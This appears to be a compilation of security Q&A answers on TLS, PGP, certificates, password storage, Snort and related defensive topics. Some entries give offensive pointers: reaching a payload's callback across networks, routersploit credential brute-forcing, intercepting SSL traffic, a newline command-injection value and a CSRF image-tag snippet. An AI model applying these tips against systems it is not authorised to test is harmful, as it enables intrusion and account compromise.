Choice of authentication when both HTTP and HTTPS are supported

If you really need to use authentication with plain text (HTTP) then you should make sure that sniffing the credentials will not compromise these. While sniffing is easy with basic authentication, a properly done digest authentication (i.e. with nonce to defend against replay attacks) is much better. Unfortunately with digest authentication you need to save the passwords at the server in clear text or an equivalent.

But the best option is of course to not transfer any sensitive data with plain HTTP and this includes authentication credentials.


Should I make sure to get all of my OpenPGP uids are signed?

OpenPGP relies on a kind of Public Key Infrastructure known as Web of Trust. PKI is all about trust delegation: you gain confidence in the association between a given key and an identity through signatures which are verified with public keys you already trust. You "know" that Alice's public key is the one you see because Bob signed it, and you can verify it because you know Bob's public key; and you know Bob's public key because Charlie signed it.

Trust delegation does not scale well vertically. In the Alice/Bob/Charlie scenario, you know Charlie (you met him) and he gave you his public key, so you are quite sure that Charlie's key, as you know it, is correct. Thus you can verify the signature Charlie computed over Bob's key (that is, a signature over the pair "name=Bob,key=..."). So you can have confidence in that key being owned by Bob, but this requires Charlie to be honest and not too gullible. That might be a bit too much to ask; knowing Charlie's key does not automatically mean that whatever Charlie signs is Gospel. Yet you met Charlie (physically), so maybe you can trust him. For the third step, Bob signing Alice's key, you need even more from Charlie: indeed, you never met Bob. So, by trusting Bob's signature over Alice's key, you are actually betting on the idea that Bob is honest and not gullible; so you are relying on Charlie not only to be honest, but also to refuse to sign keys of other people who are not equally honest and not gullible. So Charlie has to be good at psychology and evaluating reliability of other people as well.

So, to sum up, the more certification steps there are, the looser the name/key binding is. There are two ways out of this:

In hierarchical PKI (like X.509), name/key binding (i.e. guaranteeing that a key really belongs to a given entity) and trust delegation are distinct; someone with the power to assert such bindings (a certificate authority) will accept to delegate that power only after making thorough investigations, and through a legally binding contract which lists responsibilities in full lawyer-compatible language. This makes certification trees acceptable, up to a depth of about three or four certificates.
In Web of Trust PKI, each "link" in a certification chain (a chain of signed keys, from a key you know to the key you want to use) is awarded a level of reliability, and you accumulate many chains until the accumulated reliability achieves a preset level. WoT PKI relies on mass effect: an active attacker may swindle one or two gullible users, but not the whole "community". The certification graph is supposed to be strongly overconnected.

Therefore, if Bob signs the key of alice@example.com, and alice@example.com signs the key of alice@example.org, then that's one extra step, hence one extra unreliability, which will have to be compensated by other chains -- chains which must end on alice@example.org without going through alice@example.com. From this, we conclude that you should get all your UID signed: this will make verification of your key easier.


/hnap1/ scans router compromised or worm?

What you found was that a device connected to your web server and requested /HNAP1/

HNAP is a protocol for managing devices, so with just this information about potential attacks, my guess is that this has been done by a device on your network that supports this protocol (eg. it may be trying to obtain from your router the public IP address).

Your log line should contain the IP address of the client that performed such request,¹ eg:

192.168.123.123 - - [03/Sep/2017 11:35:13] "GET / HTTP/1.1" 400 67505

in this case, the request would have been performed by 192.168.123.123.

¹ I am assuming you are using Common Log Format, if you are using a custom format, you should add the remote address somewhere)

Regarding your update, the «Invalid HTTP_HOST header» message is mostly irrelevant here. The client connected specifying that it wanted to speak with (192.168.yyy.yyy / 192.168.1.1 / 192.168.1.2 / 10.1.0.1) but your server is not configured with virtual hosts for those. The important piece is the lefthand IP (although if it enumerated both the external and VirtualBox interface, it probably means it came from your PC).


Check out the LastPass FAQ for info.  Data stored locally is in various locations based on operating system and browser.

Chrome/Firefox don't have a daemons, nothing should be running in the background.

Location

  The data is located in the following places, depending on your operating system and browser(s):

 Windows Vista/7 Internet Explorer, Firefox: %AppData%\..\LocalLow\LastPass\
 Windows Vista/7 Google Chrome: %LocalAppData%\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0\
 Windows Vista/7 Safari: %LocalAppData%\Apple Computer\Safari\Databases\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0\
 Windows Vista/7 Opera: %LocalAppData%\Opera\Opera\widgets\wuid-*\pstorage\*\*\
 Windows XP Internet Explorer, Firefox: %AppData%\..\Local Settings\Application Data\LastPass\
 Windows XP Google Chrome: %AppData%\..\Local Settings\Application Data\Google\Chrome\User Data\Default\databases\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0\
 Windows XP Safari: %AppData%\..\Local Settings\Application Data\Apple Computer\Safari\Databases\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0\
 Windows XP Opera: %AppData%\..\Local Settings\Application Data\Opera\Opera\widgets\wuid-*\pstorage\*\*\

 Mac OS X Safari: ~/Library/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0/
 Mac OS X Firefox: ~/Library/Application Support/LastPass/
 Mac OS X Google Chrome: ~/Library/Application Support/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0/
 Mac OS X Opera: ~/Library/Application Support/Opera/widgets/wuid-*/pstorage/*/*/

 Linux Firefox: ~/.lastpass/
 Linux Google Chrome: ~/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0/
 Linux Opera: ~/.opera/widgets/wuid-*/pstorage/*/*/

  Firefox on other platforms utilizes the Firefox profile directory.

 Android: /data/data/com.lastpass.lpandroid/ by default, or /sdcard/lastpass/ if memory card is chosen.

Local Security

  You can back these directories up and they will contain the latest copy of your data. Be aware that on Windows, Protected Storage is used to additionally encrypt your data so you'll need to ensure that your Windows profile is also backed up. Your data is also backed up at LastPass.com, and a copy is on any other device or computer you use so this isn't required,

  Your data is also securely synced with the LastPass servers. When you make updates to your LastPass account, whether in a browser plugin, a mobile app, or the website, the updates are reflected on the LastPass servers as well.

  If your hard drive ever crashes, or your laptop is stolen, you can easily regain access to your accounts by reinstalling the plugin (https://lastpass.com/download.php) and logging in with the same email and master password.


How to set correctly set Local Host on a payload for a user outside subnet?

The mentioned IP address 192.168.x.x is from the private network block 192.168.0.0/16. So unless your target is in the same network as you, you can’t use that address.

You need to provide an address that is reachable by the target like your public, Internet facing address. And since you’re probably behind some router, you also need to forward the LPORT on your router to your local machine.


unable to verify AWS EC2 Instance Identity Document with libressl

I believe this is a problem that occurs due to different error handling in old LibreSSL/OpenSSL versions. (Think MacOS really should have used something a bit newer for their defaults)

In old versions an error is thrown when a non-detached PKCS7 signature is given together with input content (basically it assumed the data wouldn't be referenced in both the signature and an external file). Later versions defaulted to only throwing an error if called with a flag or skipping the check entirely depending on branch.

You can try to fix this by verifying with an updated version of LibreSSL or OpenSSL. You can get these on your mac through macports or homebrew.


What crypto prevents & detects "invisible" CAs? (e.g. in X509v4)

Right now, in X.509, there is no such thing as tracking of a number of uses of a given key. This is part of what is meant by "X.509 is context-free": validation is about whether the certificate path you have in front of you is valid or not, irrespective of whether a similar path or something different was shown to you 5 minutes ago when talking to the "same" server for some notion of "same".

Another important point of X.509 is that rogue CA are out of scope. This seems paradoxal, but the idea is that when a CA goes under hostile control, then that CA is "lost" and the only thing that can be done with it is to sever the whole tree branch, by revoking the certificates corresponding to the compromised CA key (where "compromise" means "the private key was used for hostile purposes", not necessarily "a copy of the private key was stolen"). For a compromised root CA, the only possible correction is to remove it from the trust stores of all clients, since root CA, being self-issued, cannot be revoked.

(When Microsoft pushes a Windows patch which removes a root CA from the default trust store, this can be viewed as some kind of revocation, in which case the root CA are not really "root", the "true root" being Microsoft. But all of this occurs outside of X.509.)

In the scenario you describe, whatever the attacker did with the root private key cannot be detected while the attacker does not actually use the rogue certificate. This is unavoidable, in a strong mathematical way: if the attacker can get access to the complete state of the root CA, then he can "clone it" and use the private key on his own machines; the root CA state is thus unimpacted. What you are asking for is some cryptographic magic which would maintain a "use counter" that the attacker could not alter at will even when he can see the full state. As long as computers are what they are, this is not feasible. To get a track of the number of issued signatures, so as to reliably detect rogue signatures, you will need something else, e.g. storing the root private key in a tamper-resistant device (a HSM) which will maintain the counter and, for instance, use it as part of the serial number for all issued certificates (thus allowing for client-side audit). This really is about changing the model by singling a "root CA core" that the attacker cannot seize.

Conceptually, we could envision a distributed database system (similar to the one used in Bitcoin) where all signatures are pushed, in a format which contains a "signature counter". This assumes the following:

The signature algorithm is altered so that it works over h(c||m) instead of h(m) (c is the counter, m the signed data, and h a cryptographic hash function).
All signature values are stored, indexed by signer and counter value, in the global database (thus, duplicates are detected).
Verifiers (clients) don't accept a signature unless they can find it in the database.
Verifiers enforce a specific counter behaviour, which allows them to notice when a CA has done more signatures than expected.
The distributed database cannot be altered by attackers.

None of this is supported by X.509, neither now or in the foreseeable future. There is no global database of signature values, and since X.509 is supposed to be usable in offline contexts, there will not be one. Also, in X.509, verifiers are stateless: they don't keep track of verification history, and that's supposed to be a desirable feature.

The cryptographic algorithms for detecting double-spending in electronic cash protocols really are a shortened version of the "database" concept: they occur at the bank level, when the bank indeed sees both transactions. E-cash protocols are thus made so that the spender's identity is revealed in case of double-spending, during this correlation phase.


How to detect surveillance in home network?

If the installers were a higher skill level than you, then they could do something entirely undetectable by you.

That said, unless you have very good reasons for expecting someone to try and bug your network, it is a fairly irrational worry. These guys came from your ISP - and ISP's generally try to avoid committing criminal acts like that, as it can really harm business.

A much more likely reason for it taking a long time (and how long were you expecting exactly?) is that configuration for your network or line didn't work as smoothly as possible. This kind of thing happens all the time - a 2 minute upgrade becomes a 2 hour upgrade as some unexpected hiccup occurs.

Tl;dr - paranoia is generally unfounded for most folks. If you are a target, then worry. If not, remember state-level surveillance of the population doesn't happen at the home router end of things...

So, now that's out the way, here are some ways to detect surveillance:

compare firmware with a known-good machine
compare configuration with a stock machine
monitor traffic and routing

Your mileage may vary - it is possible to hide all sorts of things. If you are very worried, change ISP and router...assuming you trust another ISP.


Can a whitespace regex character be used to perform a javascript injection?

In practice, this is very unlikely to permit an injection attack.

However...   In theory, there are farfetched situations where whitespace could potentially lead to an injection attack.  For instance, suppose that the program executes a command like the following:

echo Something bad happened: code $n >> logfile

where $n is the request parameter you sanitized above.  If the attacker uses a value like 42\n17 (where \n represents a newline), this will turn into two commands:

echo Something bad happened: code 42
17 >> logfile

The first command will execute, but its output will not be saved.  The second command will trigger a command not found error (there is no program called 17), so it will not execute.  The consequence is that no message will not be appended to the logfile, contrary to the programmer's intent.

This is very unlikely, in almost any program you are likely to run across.  So, probably you can ignore it.  But... in theory, I suppose it could happen.

P.S. Your regexp looks dubious.  As @Rook says, it only matches a single character.  Also, depending how it is used, you may need to anchor it.  Maybe you meant something like this:

/^[0-9\s]+$/


In this instance, is code+security code really more secure than just a longer code?

The benefits of splitting identity information into two parts is that the system can then treat them slightly differently.  In that situation you have a string that can identify a person (or other record) and a string that can authenticate the person.  The system can  limit certain functions or privileges to people who can provide the authentication string, while also allowing the identity string to be used in less risky functions.

When a string serves both as identification and authentication there is no way to prevent its use by anyone with a way view that record.  You can't identify yourself without also providing the receiving system or person with the info to impersonate you.  But if the only possible use of the identity string is during a transaction, like voucher redemption, then there may not be a need to split it into two separate codes.

You are right that in your situation having both strings on a single piece of paper doesn't offer any different protection if that paper falls into the hands of the wrong person.  But there may be other portions of the system that do better protect your identity since they can request only your redemption code without exposing the security code.  For example, an airline employee can confirm you have a valid claim with just the reference code and you don't have to worry about them taking your security code and using the voucher themselves.


How to counter or fix banner grabbing vulnerability

For IIS, you can use IISLockdown and for Apache you can set ServerSignature  to Off (more info here)


How do I verify the supported ciphersuites of a TLS server that only accepts POST requests?

It is  totally irrelevant if GET or POST is used. The TLS handshake is done before any HTTP request is even send. So if the handshake fails it means that neither GET nor POST is possible. If the server will only accept POST and a GET was send the server will reply with an HTTP level error. It cannot cause a TLS handshake error since the TLS handshake was already finished and cannot fail anymore.

  ... with an examination by Wireshark of the response stating it's a Handshake-Failure(40). I understand this means that the server and client do not have any ciphersuites in common.

Actually, no shared ciphers is only one of several possible reasons of a handshake error. Depending on which state this happens it might for example also a lack of a requested client certificate or the wrong client certificate. And no shared ciphers might for example be caused by a failure to load the certificates in the server which means that it cannot use any ciphers which require certificate based authentication.


PGP is format for encrypted and/or signed messages, and associated asymmetric key pair management, meant for emails. SSL (now known as TLS) is a protocol for establishing a secure bidirectional tunnel for binary data, over an existing insecure bidirectional tunnel for binary data.

So both systems apply to widely different situations, and they are hardly comparable. One common point, though, is that in both case one entity (the email sender for PGP, the SSL client for SSL) must obtain the public key of another entity (the email recipient, the SSL server) and use it. Let's call A and B, respectively, these two entities. In both cases, B can have several key pairs. However, the dynamics differs:

PGP works in an "email" situation. Email is one-way and one-shot. There is no dialog. A must be able to obtain enough information about B and its keys to produce the email, and B must know enough to process the incoming email without having to ask A for further data. This implies that A must obtain a copy of B's public key, and if there are several such keys, A chooses which key will be use.
SSL works for bidirectional connections. Client A and server B talk to each other, following a process called the "handshake", in which A and B agree on what cryptographic algorithms they will use (depending on what they both support and prefer). Specifically, the client announces what algorithms it supports (and in which order of preference), and then the server responds with the identifiers for the cryptographic algorithms that will be used. Then B sends its public key (in a certificate). If B has several keys, then B chooses the one which will be used (one which is compatible with the negotiated algorithms, of course).

That's the extent of the comparison between the two protocols: in PGP, sender/client chooses the key, which in SSL recipient/server gets to choose the key. Apart from that, they are too different in usage and context to be meaningfully compared.

See this answer for a primer on how SSL works.


Can Google's employee or Microsoft employee see the files in the cloud?

Yes, they can read the information that you upload.  There's at least one case which was publicised of this happening. https://techcrunch.com/2010/09/14/google-engineer-spying-fired/

As Woj says, if you're worried about this, you should encrypt the files yourself.


Using intranet SSO to access sites hosted on public cloud

Sure it's possible. What you want to do is called Federation. How you set it up really depends on the applications and platforms you run though. There are a variety of protocols out there that can do what you want; e.g. SAML, WS-Federation, OpenAuth (to a degree), etc.

The applications need to be able to support the federation protocols though.

In theory you could also set up a VPN from the cloud provider to your intranet too.

If you are running an Active Directory domain you can use Active Directory Federation Services (v2) from Microsoft (http://msdn.microsoft.com/en-us/security/aa570351), and that will let you federate using SAML or WS-Fed to applications that support the protocol. If you are running another directory service there are a few other providers out there like PingFederate (https://www.pingidentity.com/). You could also use a product like (Full disclosure: I work for the company) AuthAnvil SSO (http://www.scorpionsoft.com/).

The questions you need to ask:

Do the applications support a federation protocol or do you need to set up a VPN?
Which option is more secure? This really should be threat modelled.
How do you lock it down so only intranet users can access it?
Do you allow users outside the intranet to access the application?
How do you protect the external endpoint if you do allow external users?


routersploit bruteforce cred attcack using http

The path is the URI path that accepts credentials. While "/" may work in some cases, you may have to look at the requests your browser sends during login to determine the path (e.g. maybe something like "/cgi-bin/login").


Does semi-sensitive information demand encryption / security?

Reasons to use HTTPS:

Encryption:  As @mah's comment says, HTTPS traffic is difficult to read and / or change by a man-in-the-middle.

Verification of Identity:  An SSL certificate is proof to the user that the content being served is actually coming from the server it purports to be.

In other words, HTTPS not only encrypts the information but also tries to guarantee that the server that the user is talking to, is truly the server they think it is.  If your client's site is HTTP, a competitor or other party could fake the web site entirely so that the user is really talking to some other website and it is easy to imagine ways to abuse the customer of a company you don't like with a web site you control.  Man-in-the-middle is not even needed then.  To me, this is a good reason to use HTTPS in your case.

If the attacker tried this with against an HTTPS site, the browser should raise an alarm.  These days, those alarms are difficult for the web user to not notice.


Can I properly make password-protected 7z archives secure?

The question: Is a self-extracting archive encrypted with a perfect implementation of AES, using a key with sufficient entropy secure against an eavesdropper or active man-in-the-middle, if a cryptographic hash of the archive and the key are transmitted over a separate channel which is assumed to be secure?

Yes.

Some of these assumptions may not hold in the real world, though.

Examining the first assumption, there's a relevant question on this forum from almost a year ago: https://stackoverflow.com/questions/12470378/how-key-derivation-and-key-verification-functions-are-implemented-of-a-7-zip-arc

According to the discussion there, 7z uses a strong password-based key derivation function, and AES in CBC mode (which is fine, because we're assuming a SHA1 hash of the archive gets verified before decryption is attempted; which will stop padding oracle attacks).

However, the previous discussion also highlights a lack of documentation, and hard-to-read code in 7z. I'm not aware of any substantial cryptanalysis being done on 7z; so in using it, you're ultimately putting your trust in its developer to have gotten all the crypto implementation correct.


Is it good idea to re-authenticate a user to access sensitive actions and data?

... pages in which you have sensitvie data and actions like access controls or user management page. Is it a good idea to re-authenticate user to access those pages?

From the standpoint of risk mitigation it is a good idea. From the standpoint of usability it is annoying when work flows too often get slowed down by the need for re-authentication.

Is there any rule about it?

The rule is to find the right balance between risk mitigation and usability. This is specific for each use case, i.e. what risks you actually need to address, what usability is necessary and what annoyances are acceptable etc. It might also depend on variations of the use case, i.e. risks might be different if users accessing the data is physically inside the company or if they are logged in from outside.


In this example why do they hash a randomly generated piece of salt before hashing it with the password?

They do this hashing out of a mixture of insecurity and shamanism.

The hashing has no value for actual security. Their salting is bad because mt_rand() is not sufficient to ensure uniqueness (good salts should strive to be unique, and random salts are a good way to get unique values with high probability, but it requires the use of a good random generator, in a sufficiently large space of value; and mt_rand() fails at both). Hashing the output of mt_rand() with SHA-1 gives the impression that the salt is more random than it really is; the developers must have the warm fuzzy feeling that things are safer since they "look random" to their human eyes.

Also, sprinkling hash function invocations on a given piece of code is a way to propitiate the Spirits of Cryptography. It is well-known that crypto deities look favourably upon those who use them a lot (or so many developers believe, apparently).


Non-identified algorithm for RSA decryption in tpm-emulator

With the aim to speed up the RSA decryption process, sometimes, "Chinese Remainder Theorem" is used. The theory with the practice about the usage of this theorem may be found in the article "Using the CRT with RSA".


Establishinig TLS session with HTTP server after DNS-over-TLS

DNS over TLS is just a replacement for DNS over UDP. It is just to get the IP address of the final target. In other words: there is one TLS connection with the DNS server to get the IP address of the hostname from the URL and then there is another TLS connection to the IP address of the hostname - which is very likely different to the IP address of the DNS server. If the first TLS connection (to the DNS server) is kept open for further DNS requests does not matter in the context of your question but should be done for efficiency.


git reflog is showing plain text password used as a secret texts or files in Jenkins

You can turn off saving reflogs by setting the following option in the remote git repository:
[core]
  logAllRefUpdates = 0

Note, that this is usually off by default, so the fact that your reflogs are saved means that somewhere it's been turned on.
Then you can delete the logs directory in the git repository where these logs are stored.


There's no reason that random data needs to be non-deterministic. You could easily use a stream cipher keyed with a random key and overwrite the block device with the keystream it outputs. It would then be trivial to verify that it was all written correctly by comparing the contents of the drive with the keystream generated by the cipher. Without access to the key (which vanishes when the program closes), it would not be possible to distinguish the drive contents from truly random data.


What can one do when encryption methods fail?

The model you are using can be described as: "the attacker loans God's own computer". His computing abilities are infinite.

Most of cryptography falls down in the face of such a foe. However, there are a select few algorithms which still have some strength in that situation; the branch of cryptography which deals with that is called information theoretic security. A classic example is One-Time Pad, which is a symmetric encryption system where the key is as long as the message, and used only once (hence "one-time"): security relies on the idea that even if the attacker can try all possible keys, he has no way to know whether he found the right one or not. A more usable information-theoretic algorithm is Shamir's secret sharing scheme.

Practical usefulness of such algorithms is, to say the least, questionable: an attacker who has unlimited power would also prove wrong two centuries of mathematicians, physicists and other scientists, including the foundation of every technological advance since the steam engine. At that point, you should have more pressing worries than what could happen to your keys. Also, why an entity with such god-like power would even bother attacking your system ?


How should source code security be checked?

There are automated and manual approaches.

For automated, you could start with lgtm - a free static code analyser for open source projects and then move to more complex SAST solutions.

For manual - you could build a threat model of your app and run it through OWASP ASVS checklist starting from it's most critical parts. If there is file deletion in your threat model - just call something like this: grep -ir 'os.remove('.

Of course it's better to combine them both.


How secure is "Secure Keyboard Entry" in Mac OS X's Terminal?

"Secure Keyboard Entry" maps to the EnableSecureEventInput function whose concept is described here. Basically, applications don't access the hardware themselves; they obtain events (e.g. about key strokes) from the operating system. Some elements in the OS decides what application gets what events, depending on its access rights and GUI state (there are details depending on which application is "in the foreground").
Applications can "spy" on each other, meaning (in this case) that an application running on the machine can ask to the OS to send it a copy of all key strokes even if they are meant for another application, and/or to inject synthetic events of its own. This is a feature: it allows things like "password wallets" (which enter a password as if it was typed by the user, from the point of view of the application) or the "Keyboard Viewer" (the GUI-based keyboard which allows you to "type" characters with the mouse and also shows what keys are actually being pressed at any time). EnableSecureEventInput blocks this feature for the application which calls it. Try it ! Run Terminal.app, enable the "Keyboard Viewer", and see that enabling "Secure Keyboard Entry" prevents the Keyboard Viewer from doing its job.
All these event routing is done in some user-space process which runs as root. This relies on the process separation enforced by the kernel: normal user process cannot fiddle at will with the memory allocated for a root process. The kernel itself is unaware of the user-level concept of "event". The management of events, in particular the enforcement (or not) of EnableSecureEventInput, is made by non-kernel code.
An interesting excerpt of the page linked above is the following:

The original implementation of EnableSecureEventInput was such that when a process enabled secure input entry and had keyboard focus, keyboard events were not passed to intercept processes. However, if the secure entry process was moved to the background, the system would continue to pass keyboard events to these intercept processes, since the keyboard focus was no longer to a secure entry process.
Recently, a security hole was found that made it possible for an intercept process to capture keyboard events, even in cases where secure event input was enabled and the secure event input process was in the background. The fix for this problem is to stop passing keyboard events to any intercept process whenever any process has enabled secure event input, whether that process is in the foreground or background. This means that a process which enables secure event input and leaves secure event input enabled for the duration of the program, can affect all keyboard intercept processes, even when the secure event process has been moved to the background.

This means that the event routing system actually got it wrong in the first installment of the feature. This is now supposed to be fixed.
Even assuming that the event routing is now proper and secure, meaning that EnableSecureEventInput's semantics are really enforced, then you must understand that this is completely relative to the process separation system. Any root process can inspect and modify at will the memory of all other process, and in particular see all the events; and a root process can also hook into the kernel and inspect the actual data from the keyboard bypassing the notion of event completely. A key logger which can be installed as root will do just that, and "Secure Keyboard Entry" will be defenceless against it. See this for an opensource proof of concept.
So "Secure Keyboard Entry" is secure only against attackers who could get to run some code of their own on the machine, but could not escalate their local privileges to root level. This is a rather restrictive scenario, because local privilege escalation tends to be possible on a general basis:

Local process can see a lot of the machine, so the "security perimeter" to defend is huge in that case. Preventing intrusion from remote attackers is much easier, and yet already quite hard.

Apple tends to exhibit some lack of reactivity in the case of local privilege escalation holes.

Summary: I would find it overly optimistic to believe that "Secure Keyboard Entry" provides sufficient security against key loggers on, say, public shared computers. It is not a bad feature, but it fulfills its promises only if root and the kernel are free from malicious alterations, and that's a very big "if".


Snort: Cannot decode data link type 127 reading a pcapng file

from what you described, I understood:

You already have PCAP files to analyse with Snort (so you are not running in live mode but reading back previously created captures). Therefore the switch -i does not apply in this case.
Snort aborts with the message: ERROR: Cannot decode data link type 127
When you mention "detect any problem", I assume you are specifically looking for malware communication (and not investigation network issues, eg. layer-2 issues with your Wifi!).

First, you need to remove radiotap link encapsulation by rewriting the layer-2 link type into something Snort can easily cope with, eg. link-type ether

For that you can use editcap tool from Wireshark project.

editcap captura-analisar.pcapng -T ether captura-1.pcap, where:

-T ether: sets the encapsulation type of the output file to ether.

By the way, if your version of Snort does not read PCAPNG files, you can also convert it with editcap adding parameter -F pcap

editcap captura-analisar.pcapng -F pcap -T ether captura-1.pcap

From now on you can run snort over your PCAPs files with a command such as:

snort -A console -k none -K none -c snort.conf -r captura-1.pcap

where:

-A: issues alerts to the console
-K: logging-mode, none will not create PCAPs from the alerts, while pcap will do so. Use accordingly.
-k: checksum mode, ignore checksum validation.
-c: your snort config file containing variables, pre-process options, rules.
-r: read PCAP. be aware of other options to read bunch of pcap files, such as --pcap-dir=/home/foo/pcaps or --pcap-list="foo1.pcap foo2.pcap foo3.pcap"

Does it make sense?

Kind regards
J.C.

editcap is part of Wireshark, see: https://www.wireshark.org/docs/wsug_html_chunked/AppToolseditcap.html

PS: you can inspect the properties of PCAP files with capinfos -M captura.pcap. This shows information on encapsulation, amount of packets captured, start/end date of capture, duration, etc.


How to properly delete all data from cell phones?

Android

Use SHREDroid.
Perform a factory reset.

iPhone

As of iOS 2.0, the "Erase All Content and Settings" option will actually delete and overwrite the data on your phone, rendering them unrecoverable, or remove encryption keys on devices that supports hardware encryption.

BlackBerry

The "Security Wipe" option will delete and overwrite the data on your phone.


Is there any security threat due to returning password on form submitting failure (for example on a signup page)?

Annoying, isn't it?  Security and usability are often at odds.

In this case, the risk is pretty small, but it's there.  Imagine the following:

You enter all your info, including password, and submit
You temporarily lose your wifi connection, or something happens on the 'net to cause the response to be incredibly slow
Losing patience, you walk away from the computer
A minute later, the page finally renders, including your password
A malicious user walks by, clicks Inspect Element, and learns the password

Of course, it's not a password that will work (your registration failed, after all), but maybe you use the same password for everything.  Who knows?  Anyway, the risk is pretty small here.

There is also a usability issue.  The password may have been overwritten by one of your password manager addons or iCloud keyring or something like that.  Since you can't see the password value, you can't be 100% sure that it is set to the intended value when you resubmit the form.  If it's wrong, you will end up encountering all kinds of grief and confusion.  So perhaps it is safer just to make you type it in again.

Personally, if I were designing the web site, I would put the password data entry fields on its own page, after you have successfully filled out all the other fields, including CAPTCHA.


Use openssl to individually verify components of a certificate chain

I've more-or-less solved my problem as follows:

There is an option to verify called -partial_chain that allows verify to output OK without finding a chain that lands at self-signed trusted root cert. However, -partial_chain doesn't exist on the version of OpenSSL that I have, nor in any later version of 1.0.1.  Here's the run-down:

OpenSSL 1.0.1f -- This is the latest for Ubuntu 14.04; it has the heartbleed fix
OpenSSL 1.0.1s -- This is the latest in the 1.0.1 line, and likely to be the last; must be installed by hand in Ubuntu 14.04
OpenSSL 1.0.2g -- Currently the latest in the 1.0.2 line; this does support -partial_chain
OpenSSL 1.1 -- This is currently in alpha and has even more options, but I didn't explore it

So, with 1.0.2g or later, one can do the following:

$ openssl verify -CApath /dev/null -partial_chain -trusted g1 g0
g0: OK
$ openssl verify -CApath /dev/null -partial_chain -trusted g2 g1
g1: OK
$ openssl verify -CApath /dev/null -trusted /etc/ssl/certs/EquiFax_Secure_CA.pem g2
g2: OK

(Note that -partial_chain was not needed in the last command since the Equifax root cert is self-signed.)

This satisfies my question, but requires a version of OpenSSL that is not yet available on some distros unless you hand-install.  If you are stuck with a pre-1.0.2 version, you probably have to use @Anthony Geoghegan's method.

Note: There is an option listed in the verify docs called -no-CApath which purportedly obviates the need for -CApath /dev/null, but it's not available on 1.0.2g or earlier, based on my tests.  I assume it is available in 1.1.


Client side certificates in IIS for accessing a web app only from an specific PC

You can see the client-side certificate as a key. Wherever the key is installed, the client will be able to connect. At the opposite, wherever the key is not installed, the client will not be able to connect.

However, bear in mind that the client-side certificate is actually just a file a browser can import. It is not something hard-linked to a physical computer in any way. Therefore unless there are supplementary measures taken nothing prevents someone from importing their client certificate in several browsers running on different computers.


Would one consider the breaking of Enigma in WWII to be an early example of a backdoor?

There are two parts to this question.

(1) Is a backdoor something that is put there intentionally?

This has already been answered by Anders in their answer. To summarize, yes, because otherwise every vulnerability might as well be called a backdoor.

(2) Was the Enigma cracked because of a backdoor?

No. The Enigma was cracked because it was vulnerable to known-plaintext and guessed-plaintext attacks. However, all cryptosystems at the time were. The cipher implemented by the Enigma was still (one of?) the most advanced of its day.
The operators, however, were the ones using predictable sequences. So the cracking of the messages was largely due to operator mistakes - human failure, rather than a failure of the cryptosystem. In this sense, the breaking of the Enigma was not due to a "backdoor".

Further reading, and source used: Cryptanalysis of the Enigma on Wikipedia.


How to fuzz proprietary protocol over SSL?

There's two ways to decrypt SSL traffic in-transit:

The first is to have the private key of the server. If you have that, you can feed it to wireshark which will do the rest. There are a handful of dedicated tools for this as well. But it can't be done without the server's private key.

The second is to MITM the connection. Fiddler will do this, as previously mentioned, and there are several industrial-grade tools that will do this as well. The catch is that you need to have a certificate that the client will trust. If it uses the standard Windows CA store, then adding your signing cert as a CA on the client computer should be enough.

The second option sounds more like what you want to do, and Fiddler sounds very much like the tool you're after, since "fiddling" with a connection is exactly what you're trying to do.

Note that if you're working with a custom protocol, what you're trying to do may involve writing some custom code. But it's possible.


You can't currently depend on the Origin header, because it is not implemented in all browsers which are in active use. Apart from that, Origin is not sent in all cases relevant to CSRF, like

<img src=http://router/admin.cgi?...>


What to consider in an SLA to ensure secure software when outsourcing software development?

As @Lucas said, a lawyer should be your first port of call, however from a high level I can give some guidance on areas to look at - these are a small subset:

How does the organisation test their own security?
Do they use approved testers, internal teams, or both?
Will you have a right to audit using your own staff or consultants?
How do they manage incidents, vulnerabilities and exceptions?
Will you have visibility of incidents, vulnerabilities and exceptions during the development lifecycle?
Do they use a framework such as OpenSAMM?
What responsibilities do they retain after delivery?
How rapidly can they respond to advisories, whether from you, a CERT or a vendor?
Do they have an escrow agreement in the event of financial collapse?
Who will own the code - could it end up being published without your approval?
How do they screen or check their employees prior to employment?
Within what jurisdiction do they operate?

And so on...

Get a lawyer who knows this stuff!


Wordpress: Thousand of mail sent to my site from an unknown user! Site is near to be blacklisted by Google

Take your website down, fix the security problem (that folder didn't come there by accident it was most likely put there through another vulnerability). Check your code for vulnerabilities, anonymous write on your ftp server, places in your code where there is a risk for command injection, SQL injection, etc...

Next install a spamfilter and automatically delete emails coming from that user or blacklist the offending mailserver's IP address.


Determine private key size using public certificate

The public and private key have the same size (with regards to security, the file size differs of course). It's identical to the size of the modulus when it is regarded as an unsigned integer (and the key size is a full number of bytes, i.e. a multiple of 8 - otherwise it is the location of the highest bit set to one).

You are however showing a full X509 certificate. That certificate contains the public key. You can easily view the public/private key size by typing:

openssl x509 -text -noout -in [yourcert]

It will contain lines with:

Subject Public Key Info:
    Public Key Algorithm: rsaEncryption
        Public-Key: (2048 bit)

Where [yourcert] is the file containing the certificate and the value 2048 is an example. Note that rsaEncryption may be used to indicate signature generation as well.


What is the security of random code for authenticating products?

Adding to Steffen Ullrich's excellent answer...

There's an opportunity for an attacker to get valid numbers off of unsold merchandise and then resticker those products so that they look unused. The attacker can then use these pirated numbers on counterfeit products.

This will likely only be profitable for expensive items (eg: profitable for designer clothes, but not for a can of coke) as it is a relatively costly and manual attack. You need to get the unsold products, scratch the silver off, record the code, resticker the item (stickers are readily available), put the item back into the original sales channel, and then sell your item before the original is sold so the code is still valid.

EDIT: Added mention of attack utility for expensive items based on @SteffenUllrich's comment.


Would an unnecessarily long password degrade performance of a WPA2 wireless network?

No.  It doesn't matter how long your passwords are because that value is never transmitted during the WPA-PSK Key Exchange.  Instead a CMAC is calculated based on the secret key, the client and server id, as well as client and server provided large random values.

Regardless of how large your password is the resulting CMAC for WPA2-PSK will always be 128 bits:

MAC_P = CMAC-AES-128(AK, ID_P||ID_S||RAND_S||RAND_P)


